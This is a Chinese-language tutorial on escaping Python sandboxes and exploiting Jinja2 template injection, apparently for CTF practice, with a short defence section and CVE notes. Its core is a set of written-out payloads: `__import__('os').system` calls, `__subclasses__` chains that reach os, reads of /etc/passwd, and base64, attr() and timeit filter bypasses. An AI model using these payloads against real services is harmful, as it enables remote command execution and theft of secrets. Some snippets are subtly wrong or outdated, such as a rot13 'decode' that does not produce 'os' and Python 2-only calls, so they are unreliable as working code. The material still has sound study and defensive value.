Python沙盒逃逸是绕过受限执行环境(沙盒)的限制,执行任意代码或访问敏感数据的技术。其核心在于利用Python的动态特性、内置对象继承链及模块导入机制,突破沙盒的防护措施。以下是详细解析:
一、沙盒逃逸的核心目标
- 执行系统命令
通过调用os.system
、subprocess.Popen
等函数执行Shell命令,例如读取文件或反弹Shell。 - 文件操作
读取敏感文件(如/etc/passwd
)、写入后门文件。 - 环境信息泄露
获取沙盒配置、环境变量或密钥(如__builtins__
中的敏感模块)。
二、常见攻击链与利用方法
-
探测沙盒漏洞
- 基础测试:注入
{{7*7}}
或__import__('os').system('id')
验证模板引擎动态执行能力。 - 检查内置对象:通过
dir()
或__builtins__
查看可用模块。
- 基础测试:注入
-
访问危险函数
- 直接调用模块:若未禁用
os
,直接执行命令:__import__('os').system('cat /flag')
- 间接导入:通过字符串编码绕过关键字过滤:
__import__('b64d'.decode('rot13')).system('id') # 'b64d'→'os'
- 直接调用模块:若未禁用
-
类继承链利用
- 遍历子类:从基础类(如
object
)通过__subclasses__()
找到危险类:
其中''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')
X
为os._wrap_close
或subprocess.Popen
的类索引。 - 利用文件对象:通过
types.FileType
或open
读取文件:types.FileType('/etc/passwd').read()
- 遍历子类:从基础类(如
-
绕过过滤的技巧
- 属性链分割:使用
getattr
或|attr()
绕过点号过滤:request|attr('application')|attr('__globals__')['os'].system('id')
- 编码混淆:Base64、ROT13编码命令字符串:
eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))
- 利用内联函数:通过
timeit
、platform
等非敏感模块间接调用命令:timeit.timeit("__import__('os').system('id')", number=1)
- 属性链分割:使用
三、典型沙盒环境与绕过案例
-
Jinja2模板引擎SSTI
- 漏洞场景:直接渲染未过滤的用户输入,如
render_template_string(user_input)
。 - 利用链:通过
{{config}}
泄露密钥,或通过类继承链调用os
模块。
- 漏洞场景:直接渲染未过滤的用户输入,如
-
RestrictedPython沙盒
- 限制机制:禁用
__import__
、open
等函数。 - 绕过方法:利用
__builtins__.__dict__
或_getattr_
动态获取危险函数。
- 限制机制:禁用
-
CTF题目实战
- 常见考点:通过
__subclasses__
找到warnings.catch_warnings
类,其__init__
的全局变量包含sys
模块。 - 文件读取绕过:使用
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
。
- 常见考点:通过
四、防御措施与最佳实践
-
禁用高危函数
在沙盒配置中移除eval
、exec
、os
、subprocess
等模块,例如:__builtins__.__dict__.clear() # 清除内置函数
-
限制模块导入
- 白名单机制:仅允许预定义的模块和函数。
- 沙盒环境:使用
RestrictedPython
或PyPy
沙盒,限制全局状态访问。
-
输入过滤与静态模板
- 正则过滤:拦截
{{
、__class__
、__import__
等敏感符号。 - 静态渲染:优先使用
render_template
而非动态拼接模板。
- 正则过滤:拦截
-
监控与加固
- 日志审计:记录异常代码执行行为。
- 容器隔离:将沙盒运行在Docker等隔离环境中,限制资源访问。
五、历史漏洞与扩展
- CVE-2017-5524:Plone CMS因未过滤Python字符串格式化方法导致沙盒绕过,攻击者可泄露敏感数据。
- Temporal沙盒绕过:通过
sandbox_unrestricted()
上下文管理器或禁用@workflow.defn(sandboxed=False)
完全绕过防护。